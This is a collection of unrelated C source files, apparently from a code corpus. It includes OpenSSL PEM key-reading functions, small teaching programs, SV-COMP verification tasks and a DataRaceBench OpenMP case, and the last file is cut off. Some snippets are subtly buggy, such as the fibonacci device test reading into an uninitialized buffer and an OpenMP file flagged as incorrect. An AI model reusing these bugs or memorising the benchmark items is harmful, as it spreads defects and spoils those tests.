IMPLEMENT_PEM_write(X509_REQ_NEW, X509_REQ, PEM_STRING_X509_REQ_OLD, X509_REQ)
IMPLEMENT_PEM_rw(X509_CRL, X509_CRL, PEM_STRING_X509_CRL, X509_CRL)
/*
* We treat RSA or DSA private keys as a special case. For private keys we
* read in an EVP_PKEY structure with PEM_read_bio_PrivateKey() and extract
* the relevant private key: this means can handle "traditional" and PKCS#8
* formats transparently.
*/
static RSA *pkey_get_rsa(EVP_PKEY *key, RSA **rsa)
{
RSA *rtmp;
if (!key)
return NULL;
rtmp = EVP_PKEY_get1_RSA(key);
EVP_PKEY_free(key);
if (!rtmp)
return NULL;
if (rsa) {
RSA_free(*rsa);
*rsa = rtmp;
}
return rtmp;
}
RSA *PEM_read_bio_RSAPrivateKey(BIO *bp, RSA **rsa, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_bio_PrivateKey(bp, NULL, cb, u);
return pkey_get_rsa(pktmp, rsa);
}
#ifndef OPENSSL_NO_FP_API
RSA *PEM_read_RSAPrivateKey(FILE *fp, RSA **rsa, pem_password_cb *cb, void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_PrivateKey(fp, NULL, cb, u);
return pkey_get_rsa(pktmp, rsa);
}
#endif
IMPLEMENT_PEM_write_cb_const(RSAPrivateKey, RSA, PEM_STRING_RSA,
RSAPrivateKey)
IMPLEMENT_PEM_rw_const(RSAPublicKey, RSA, PEM_STRING_RSA_PUBLIC,
RSAPublicKey) IMPLEMENT_PEM_rw(RSA_PUBKEY, RSA,
PEM_STRING_PUBLIC,
RSA_PUBKEY)
#ifndef OPENSSL_NO_DSA
static DSA *pkey_get_dsa(EVP_PKEY *key, DSA **dsa)
{
DSA *dtmp;
if (!key)
return NULL;
dtmp = EVP_PKEY_get1_DSA(key);
EVP_PKEY_free(key);
if (!dtmp)
return NULL;
if (dsa) {
DSA_free(*dsa);
*dsa = dtmp;
}
return dtmp;
}
DSA *PEM_read_bio_DSAPrivateKey(BIO *bp, DSA **dsa, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_bio_PrivateKey(bp, NULL, cb, u);
return pkey_get_dsa(pktmp, dsa); /* will free pktmp */
}
IMPLEMENT_PEM_write_cb_const(DSAPrivateKey, DSA, PEM_STRING_DSA,
DSAPrivateKey)
IMPLEMENT_PEM_rw(DSA_PUBKEY, DSA, PEM_STRING_PUBLIC, DSA_PUBKEY)
# ifndef OPENSSL_NO_FP_API
DSA *PEM_read_DSAPrivateKey(FILE *fp, DSA **dsa, pem_password_cb *cb, void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_PrivateKey(fp, NULL, cb, u);
return pkey_get_dsa(pktmp, dsa); /* will free pktmp */
}
# endif
IMPLEMENT_PEM_rw_const(DSAparams, DSA, PEM_STRING_DSAPARAMS, DSAparams)
#endif
static EC_KEY *pkey_get_eckey(EVP_PKEY *key, EC_KEY **eckey)
{
EC_KEY *dtmp;
if (!key)
return NULL;
dtmp = EVP_PKEY_get1_EC_KEY(key);
EVP_PKEY_free(key);
if (!dtmp)
return NULL;
if (eckey) {
EC_KEY_free(*eckey);
*eckey = dtmp;
}
return dtmp;
}
EC_KEY *PEM_read_bio_ECPrivateKey(BIO *bp, EC_KEY **key, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_bio_PrivateKey(bp, NULL, cb, u);
return pkey_get_eckey(pktmp, key); /* will free pktmp */
}
IMPLEMENT_PEM_write_cb(ECPrivateKey, EC_KEY, PEM_STRING_ECPRIVATEKEY,
ECPrivateKey)
IMPLEMENT_PEM_rw(EC_PUBKEY, EC_KEY, PEM_STRING_PUBLIC, EC_PUBKEY)
#ifndef OPENSSL_NO_FP_API
EC_KEY *PEM_read_ECPrivateKey(FILE *fp, EC_KEY **eckey, pem_password_cb *cb,
void *u)
{
EVP_PKEY *pktmp;
pktmp = PEM_read_PrivateKey(fp, NULL, cb, u);
return pkey_get_eckey(pktmp, eckey); /* will free pktmp */
}
#endif
IMPLEMENT_PEM_write_const(DHparams, DH, PEM_STRING_DHPARAMS, DHparams)
IMPLEMENT_PEM_rw(PUBKEY, EVP_PKEY, PEM_STRING_PUBLIC, PUBKEY)
|
the_stack_data/170452478.c | #include <openssl/crypto.h>
int main()
{
long ver;
ver = SSLeay();
return 0;
}
|
the_stack_data/97215.c | #include <stdio.h>
/*************
函数指针
函数指针是指向函数的指针变量。
通常我们说的指针变量是指向一个整型、字符型或数组等变量，而函数指针是指向函数。
函数指针可以像一般函数一样，用于调用函数、传递参数。
函数指针变量的声明：
typedef int (*fun_ptr)(int,int); // 声明一个指向同样参数、返回值的函数指针类型
* **************/
int max(int x, int y)
{
return x > y ? x : y;
}
int main()
{
/* p 是函数指针 */
int (* p)(int, int) = &max; // &可以省略
int a, b, c, d;
printf("请输入三个数字:");
scanf("%d,%d,%d", &a, &b, &c);
/* 与直接调用函数等价，d = max(max(a, b), c) */
d = p(p(a, b), c);
printf("最大的数字是: %d\n", d);
return 0;
}
|
the_stack_data/175143392.c | // This is a personal academic project. Dear PVS-Studio, please check it.
// PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com
#include <stdint.h>
/* Sets on memory the character */
void * memset(void * destination, int32_t c, uint64_t length) {
uint8_t chr = (uint8_t)c;
char * dst = (char*)destination;
while(length--)
dst[length] = chr;
return destination;
}
/* Copies on destination, length characters from source */
void * memcpy(void * destination, const void * source, uint64_t length) {
/*
* memcpy does not support overlapping buffers, so always do it
* forwards. (Don't change this without adjusting memmove.)
*
* For speedy copying, optimize the common case where both pointers
* and the length are word-aligned, and copy word-at-a-time instead
* of byte-at-a-time. Otherwise, copy by bytes.
*
* The alignment logic below should be portable. We rely on
* the compiler to be reasonably intelligent about optimizing
* the divides and modulos out. Fortunately, it is.
*/
uint64_t i;
if ((uint64_t)destination % sizeof(uint32_t) == 0 && (uint64_t)source % sizeof(uint32_t) == 0 && length % sizeof(uint32_t) == 0) {
uint32_t *d = (uint32_t *) destination;
const uint32_t *s = (const uint32_t *)source;
for (i = 0; i < length / sizeof(uint32_t); i++)
d[i] = s[i];
} else {
uint8_t * d = (uint8_t*)destination;
const uint8_t * s = (const uint8_t*)source;
for (i = 0; i < length; i++)
d[i] = s[i];
}
return destination;
}
/* Gets pow of a given number and base */
uint64_t pow(int base, int exponent) {
int result = 1;
for (uint64_t i = 0; i < exponent; i++){
result = result * base;
}
return result;
}
/* Converts a number to base 2, returns exponent */
uint64_t exp2(uint64_t number) {
if (number <= 1) return 1;
return 64 - __builtin_clzll(number - 1);
}
/* Returns max given two values */
uint64_t max(uint64_t n1, uint64_t n2) {
if (n1 >= n2) return n1;
return n2;
}
|
the_stack_data/229189.c | /* From SLAM paper, Relative Completeness of Abstraction Refinement for Software Model Checking */
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
extern char __VERIFIER_nondet_char(void);
extern int __VERIFIER_nondet_int(void);
extern long __VERIFIER_nondet_long(void);
extern void *__VERIFIER_nondet_pointer(void);
extern int __VERIFIER_nondet_int();
int main() {
int x = 0, y, z;
y = __VERIFIER_nondet_int();
while (x >= 0) {
x = x + 1;
}
if (y == 25) {
if (y != 25) {
z = -1;
while (z != 0) {
z = z - 1;
}
__VERIFIER_error();
}
}
}
|
the_stack_data/237643395.c | /*Program to display all Krishnamurthy numbers between a range.
A Krishnamurthy nummber is one whose sum of factorials of all
the digits is the number itself*/
void main()
{
unsigned int lim1,lim2,i,j,temp; //lim1 and lim2 are lower and upper limits
unsigned long s,fact;
clrscr();
printf("Enter the lower and upper limits : ");
scanf("%u%u",&lim1,&lim2);
if(lim2<lim1)
{
printf("Input Error!\nUpper limit less than lower limit");
goto end;
}
printf("\nThe Krishnamurthy numbers between %u and %u are :\n",lim1,lim2);
for(i=lim1;i<lim2;i++)
{
s=0;
for(temp=i;temp>0;(temp/=10))
{
fact=1;
for(j=temp%10;j>0;j--)
fact*=j;
s+=fact;
}
if(s==i)
printf("%u ",i);
}
end:
printf("\nPress any key..... ");
getch();
} |
the_stack_data/61074097.c | #include <stdio.h>
// squeeze: delete all c from s
void squeeze(char s[], int c)
{
int i, j;
for (i = j = 0; s[i] != '\0'; i++)
{
if (s[i] != c)
s[j++] = s[i];
}
s[j] = '\0';
} |
the_stack_data/26893.c | /*
* Compute pi by approximating the area under the curve f(x) = 4 / (1 + x*x)
* between 0 and 1.
*
* parallel version using OpenMP
*/
#include <stdio.h>
#include <stdlib.h>
#include <omp.h> /* OpenMP */
#if _DEBUG_
#define _DEBUG_ 1
#else
#define _DEBUG_ 0
#endif
int main(int argc, char *argv[]) {
double x, sum=0.0, pi=0.0;
#if !_DEBUG_
double start,end;
#endif
int i;
const char Usage[] = "Usage: pi <num_steps> (try 1000000000)\n";
if (argc < 2) {
fprintf(stderr, Usage);
exit(1);
}
int num_steps = atoi(argv[1]);
double step = 1.0/(double) num_steps;
#if !_DEBUG_
start= omp_get_wtime();
#endif
/* do computation -- using all threads */
// WARNING : incorrect code
#pragma omp parallel private(i,x) reduction(+:sum)
{
#if _DEBUG_
int id = omp_get_thread_num();
#endif
#pragma omp for schedule(static)
for (i=0; i < num_steps; i++) {
x = (i+0.5)*step;
sum += 4.0/(1.0+x*x);
#if _DEBUG_
printf("thread id:%d it:%d\n",id,i);
#endif
}
#pragma omp single
pi = step * sum;
}
#if !_DEBUG_
end = omp_get_wtime();
printf("Wall clock execution time = %.9f seconds\n", end-start);
#endif
/* print results */
printf("Value of pi = %12.10f\n", pi);
return EXIT_SUCCESS;
}
|
the_stack_data/25136809.c |
#include <stdio.h>
#include <stdlib.h>
void Reverse_inPlace(char A[])
{
char B[10] = {0};
char temp;
int j=0;
for(j=0 ; A[j] != '\0' ; j++)
{}
j -= 1;
for(int i=0 ; i<j ; i++, j--)
{
temp = A[i];
A[i] = A[j];
A[j] = temp;
}
printf("%s", A);
}
void Reverse_Using_AuxiliaryArray(A)
{
//Take an auxiliary array and copy the elements of the string to it and then reverse copy it back
//into the original string
}
int main(void)
{
char A[] = "HelloWorld";
Reverse_inPlace(A);
//Reverse_Using_AuxiliaryArray(A);
return 0;
}
|
the_stack_data/895634.c | /*
Copyright (c) 2017, Lawrence Livermore National Security, LLC.
Produced at the Lawrence Livermore National Laboratory
Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund,
Markus Schordan, and Ian Karlin
(email: [email protected], [email protected], [email protected],
[email protected], [email protected])
LLNL-CODE-732144
All rights reserved.
This file is part of DataRaceBench. For details, see
https://github.com/LLNL/dataracebench. Please also see the LICENSE file
for our additional BSD notice.
Redistribution and use in source and binary forms, with
or without modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the disclaimer below.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the disclaimer (as noted below)
in the documentation and/or other materials provided with the
distribution.
* Neither the name of the LLNS/LLNL nor the names of its contributors
may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL
SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
Using lastprivate() to resolve an output dependence.
Semantics of lastprivate (x):
causes the corresponding original list item to be updated after the end of the region.
The compiler/runtime copies the local value back to the shared one within the last iteration.
*/
#include <stdio.h>
#include <omp.h>
void foo()
{
int i;
int x;
#pragma omp parallel for private (i) lastprivate (x)
for (i = 0; i <= 99; i += 1) {
x = i;
}
printf("x=%d",x);
}
int main()
{
foo();
return 0;
}
|
the_stack_data/67326084.c | #include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<malloc.h>
#include<math.h>
char dictionary[10005][20];
char check_words[55][20];
int lend[10005];
int lenc[55];
int m,n;
void check(int num){
int flag=0;
int i,j;
printf("%s",check_words[num]);
for(i=0;i<m;i++){
if(strcmp(check_words[num],dictionary[i])==0){
printf(" is correct\n");
return;
}
}
printf(":");
int sum;
int time=0;
int k;
char ch[20];
int a;
int f;
for(i=0;i<m;i++){
if(lend[i]==lenc[num]-1){
for(j=0;j<lenc[num];j++){
f=0;
for(k=0;k<j;k++){
ch[k]=check_words[num][k];
}
for(k=j+1;k<lenc[num];k++){
ch[k-1]=check_words[num][k];
}
for(k=0;k<lenc[num]-1;k++){
if(ch[k]!=dictionary[i][k]){
f=1;
break;
}
}
if(!f){
printf(" %s",dictionary[i]);
break;
}
}
}
}
for(i=0;i<m;i++){
if(lenc[num]==lend[i]){
sum=0;
for(j=0;j<lenc[num];j++){
if(check_words[num][j]!=dictionary[i][j]){
sum++;
}
}
if(sum==1){
printf(" %s",dictionary[i]);
}
}
}
for(i=0;i<m;i++){
if(lenc[num]==lend[i]-1){
for(j=0;j<lend[i];j++){
f=0;
for(k=0;k<j;k++){
ch[k]=dictionary[i][k];
}
for(k=j+1;k<lend[i];k++){
ch[k-1]=dictionary[i][k];
}
for(k=0;k<lend[i]-1;k++){
if(ch[k]!=check_words[num][k]){
f=1;
break;
}
}
if(!f){
printf(" %s",dictionary[i]);
break;
}
}
}
}
printf("\n");
}
int main(){
int i,j;
char ch[20];
m=0;
while(scanf("%s",dictionary[m])){
lend[m]=strlen(dictionary[m]);
if(dictionary[m][0]=='#')
break;
m++;
}
n=0;
while(scanf("%s",check_words[n])){
lenc[n]=strlen(check_words[n]);
if(check_words[n][0]=='#')
break;
n++;
}
for(i=0;i<n;i++){
check(i);
}
return 0;
}
|
the_stack_data/69597.c | const unsigned char dot_frag_spv[] = {
0x03, 0x02, 0x23, 0x07, 0x00, 0x00, 0x01, 0x00, 0x07, 0x00, 0x08, 0x00, 0x13, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x06, 0x00,
0x01, 0x00, 0x00, 0x00, 0x47, 0x4C, 0x53, 0x4C, 0x2E, 0x73, 0x74, 0x64, 0x2E, 0x34, 0x35, 0x30,
0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x0F, 0x00, 0x06, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x6D, 0x61, 0x69, 0x6E,
0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x10, 0x00, 0x03, 0x00, 0x04, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x10, 0x00, 0x03, 0x00, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x03, 0x00, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00, 0xC2, 0x01, 0x00, 0x00, 0x05, 0x00, 0x04, 0x00,
0x04, 0x00, 0x00, 0x00, 0x6D, 0x61, 0x69, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x04, 0x00,
0x07, 0x00, 0x00, 0x00, 0x53, 0x53, 0x42, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x05, 0x00,
0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x61, 0x6D, 0x70, 0x6C, 0x65, 0x64, 0x00,
0x05, 0x00, 0x03, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x05, 0x00,
0x12, 0x00, 0x00, 0x00, 0x6F, 0x75, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x00, 0x00, 0x00,
0x48, 0x00, 0x05, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x47, 0x00, 0x03, 0x00, 0x07, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x47, 0x00, 0x04, 0x00, 0x09, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x47, 0x00, 0x04, 0x00, 0x09, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x47, 0x00, 0x04, 0x00, 0x12, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x13, 0x00, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x21, 0x00, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x15, 0x00, 0x04, 0x00, 0x06, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x03, 0x00, 0x07, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x20, 0x00, 0x04, 0x00, 0x08, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x3B, 0x00, 0x04, 0x00, 0x08, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x2B, 0x00, 0x04, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2B, 0x00, 0x04, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x20, 0x00, 0x04, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x16, 0x00, 0x03, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x17, 0x00, 0x04, 0x00,
0x10, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x20, 0x00, 0x04, 0x00,
0x11, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x3B, 0x00, 0x04, 0x00,
0x11, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x36, 0x00, 0x05, 0x00,
0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0xF8, 0x00, 0x02, 0x00, 0x05, 0x00, 0x00, 0x00, 0x41, 0x00, 0x05, 0x00, 0x0C, 0x00, 0x00, 0x00,
0x0D, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x03, 0x00,
0x0D, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0xFC, 0x00, 0x01, 0x00, 0x38, 0x00, 0x01, 0x00
};
const int dot_frag_spv_size = 544;
|
the_stack_data/146760.c | /** @file
errno variable
Copyright (c) 2011, Intel Corporation
All rights reserved. This program and the accompanying materials
are licensed and made available under the terms and conditions of the BSD License
which accompanies this distribution. The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
**/
#include <sys/errno.h>
/**
Variable that contains additional error information when an API call fails.
**/
int errno;
|
the_stack_data/111078216.c | // RUN: clang-cc -triple=i686-apple-darwin9 --emit-llvm -o - %s | FileCheck %s
struct et7 {
float lv7[0];
char mv7:6;
} yv7 = {
{},
52,
};
// CHECK: @yv7 = global
// CHECK: i8 52,
|
the_stack_data/306532.c | #include <stdio.h>
int main()
{
printf("Hi, my name is nandoconde\n");
return 0;
} |
the_stack_data/88359.c | extern void klee_silent_exit(int) __attribute__((noreturn));
void __VERIFIER_silent_exit(int status) __attribute__((noreturn,noinline));
void __VERIFIER_silent_exit(int status) {
klee_silent_exit(0);
}
|
the_stack_data/89199362.c | #include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define FIB_DEV "/dev/fibonacci"
int main()
{
long long sz;
char *buf;
char write_buf[] = "testing writing";
int offset = 500; /* TODO: try test something bigger than the limit */
int fd = open(FIB_DEV, O_RDWR);
if (fd < 0) {
perror("Failed to open character device");
exit(1);
}
for (int i = 0; i <= offset; i++) {
sz = write(fd, write_buf, strlen(write_buf));
printf("Writing to " FIB_DEV ", returned the sequence %lld\n", sz);
}
for (int i = 0; i <= offset; i++) {
lseek(fd, i, SEEK_SET);
sz = read(fd, buf, 3);
printf("Reading from " FIB_DEV
" at offset %d, returned the sequence "
"%s.\n",
i, buf);
}
for (int i = offset; i >= 0; i--) {
lseek(fd, i, SEEK_SET);
sz = read(fd, buf, 3);
printf("Reading from " FIB_DEV
" at offset %d, returned the sequence "
"%s.\n",
i, buf);
}
close(fd);
return 0;
}
|
the_stack_data/242510.c | /**
Copyright (c) 2012, Brice Videau <[email protected]>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#define CL_USE_DEPRECATED_OPENCL_1_1_APIS
#pragma GCC diagnostic push
# pragma GCC diagnostic ignored "-Wcpp"
# if defined(__APPLE__) || defined(__MACOSX)
# include <OpenCL/cl.h>
# else
# include <CL/cl.h>
# endif
#pragma GCC diagnostic pop
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef enum {
CL_ICDL_OCL_VERSION=1,
CL_ICDL_VERSION=2,
CL_ICDL_NAME=3,
CL_ICDL_VENDOR=4,
} cl_icdl_info;
typedef cl_int (*clGetICDLoaderInfoOCLICD_fn)(
cl_icdl_info param_name,
size_t param_value_size,
void * param_value,
size_t * param_value_size_ret);
int main(int argc, char* argv[]) {
cl_int error;
clGetICDLoaderInfoOCLICD_fn clGetICDLoaderInfoOCLICD=NULL;
#pragma GCC diagnostic push
# pragma GCC diagnostic ignored "-Wdeprecated-declarations"
clGetICDLoaderInfoOCLICD = clGetExtensionFunctionAddress("clGetICDLoaderInfoOCLICD");
#pragma GCC diagnostic pop
if (clGetICDLoaderInfoOCLICD == NULL) {
printf("No clGetICDLoaderInfoOCLICD function available\n");
return 2;
}
{
char *param_value=NULL;
size_t param_value_size_ret=0;
#define show(name,NAME) \
do { \
error = clGetICDLoaderInfoOCLICD(CL_ICDL_##NAME, 0, NULL, ¶m_value_size_ret ); \
if (error) { exit(4); } \
param_value = (char *)malloc(param_value_size_ret); \
clGetICDLoaderInfoOCLICD(CL_ICDL_##NAME, param_value_size_ret, param_value, NULL); \
printf(#name ": %s\n",param_value); \
free(param_value); \
param_value=NULL; \
} while (0)
show(ocl_version,OCL_VERSION);
show(version,VERSION);
show(name,NAME);
show(vendor,VENDOR);
}
return 0;
}
|
the_stack_data/25648.c | #include <stdio.h>
int check_premier(int a){
int check;
for (int i=2;i<=a/2+1;i++)
{
if(a %i==0) {check=0;break;}
else check=1;}
return (check);
}
int main(int argc, char const *argv[])
{
int borne_plus,borne_moins,j;
printf("entrez les bornes sup et inf de recherche?\n");
printf("bornes inf?");scanf("%d",&borne_moins);
printf("bornes sup?");scanf("%d",&borne_plus);
j=borne_moins;
for (j;j<=borne_plus;j++)
if(check_premier(j)){printf("%d;",j);}
}
|
the_stack_data/181394144.c | extern int __VERIFIER_nondet_int(void);
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
/*
* A slightly obfuscated implementation of skip lists without using ordering and height counters.
* For a better implementation, see, e.g., http://eternallyconfuzzled.com/tuts/datastructures/jsw_tut_skip.aspx
* or http://ck.kolivas.org/patches/bfs/test/bfs406-skiplists.patch
*
* We assume the height to be fixed to 2 and we always have the maximum height at the head and tail
* nodes---in other words, we do not let the height grow/shrink. Also, we do not consider a dynamic
* number of next pointers in the nodes.
*
* This source code is licensed under the GPLv3 license.
*
* Taken from Forester.
*/
#include <stdlib.h>
// a skip list node with three next pointers
struct sl_item {
struct sl_item *n1, *n2;
};
// a skip list
struct sl {
struct sl_item *head, *tail;
};
struct sl_item* alloc_or_die(void)
{
struct sl_item *pi = malloc(sizeof(struct sl_item));
return pi;
}
struct sl* create_sl_with_head_and_tail(void)
{
struct sl *sl = malloc(sizeof(*sl));
sl->head = malloc(sizeof(struct sl_item));
sl->tail = malloc(sizeof(struct sl_item));
sl->head->n2 = sl->head->n1 = sl->tail;
sl->tail->n2 = sl->tail->n1 = NULL;
return sl;
}
// The function inserts one node of a random height to a randomly chosen position in between of
// the head and tail.
void sl_random_insert(struct sl *sl)
{
// a1, a2 remember the nodes before the inserted one at the particular levels
struct sl_item *a1, *a2;
struct sl_item *new;
a2 = sl->head;
while (a2->n2 != sl->tail && __VERIFIER_nondet_int())
a2 = a2->n2;
// moving randomly on the 1st level, not going behind a2->n2
a1 = a2;
while (a1->n1 != a2->n2 && __VERIFIER_nondet_int())
a1 = a1->n1;
// allocation and insertion of a new node
new = malloc(sizeof(struct sl_item));
// always insert at level 1
new->n1 = a1->n1;
a1->n1 = new;
// choose whether to insert at level 2
if (__VERIFIER_nondet_int()) {
new->n2 = a2->n2;
a2->n2 = new;
}
}
void destroy_sl(struct sl *sl)
{
struct sl_item *tmp;
while (sl->head) {
tmp = sl->head;
sl->head = sl->head->n1;
free(tmp);
}
free(sl);
}
int main()
{
struct sl *sl = create_sl_with_head_and_tail();
while (__VERIFIER_nondet_int())
sl_random_insert(sl);
destroy_sl(sl);
return 0;
}
|
the_stack_data/243698.c | /* Copyright © 2019 Raheman Vaiya.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*/
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
char errstr[1024];
void _die(char *fmt, ...)
{
va_list args;
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
fprintf(stderr, "\n");
exit(-1);
}
|
the_stack_data/45451396.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int superSTR(char **s, int n);
void calc(int n, int i, int count, int *a, int *b);
int maxDelete = 0;
int main(void)
{
int n = 0;
int i = 0;
scanf("%d ", &n);
char ** pArr = malloc(sizeof(char *) * n);
if(pArr == NULL)
{
printf("MALLOC Error \n");
return 1;
}
for(i = 0; i < n; i++)
{
pArr[i] = malloc(sizeof(char)*20);
if(pArr[i] == NULL)
{
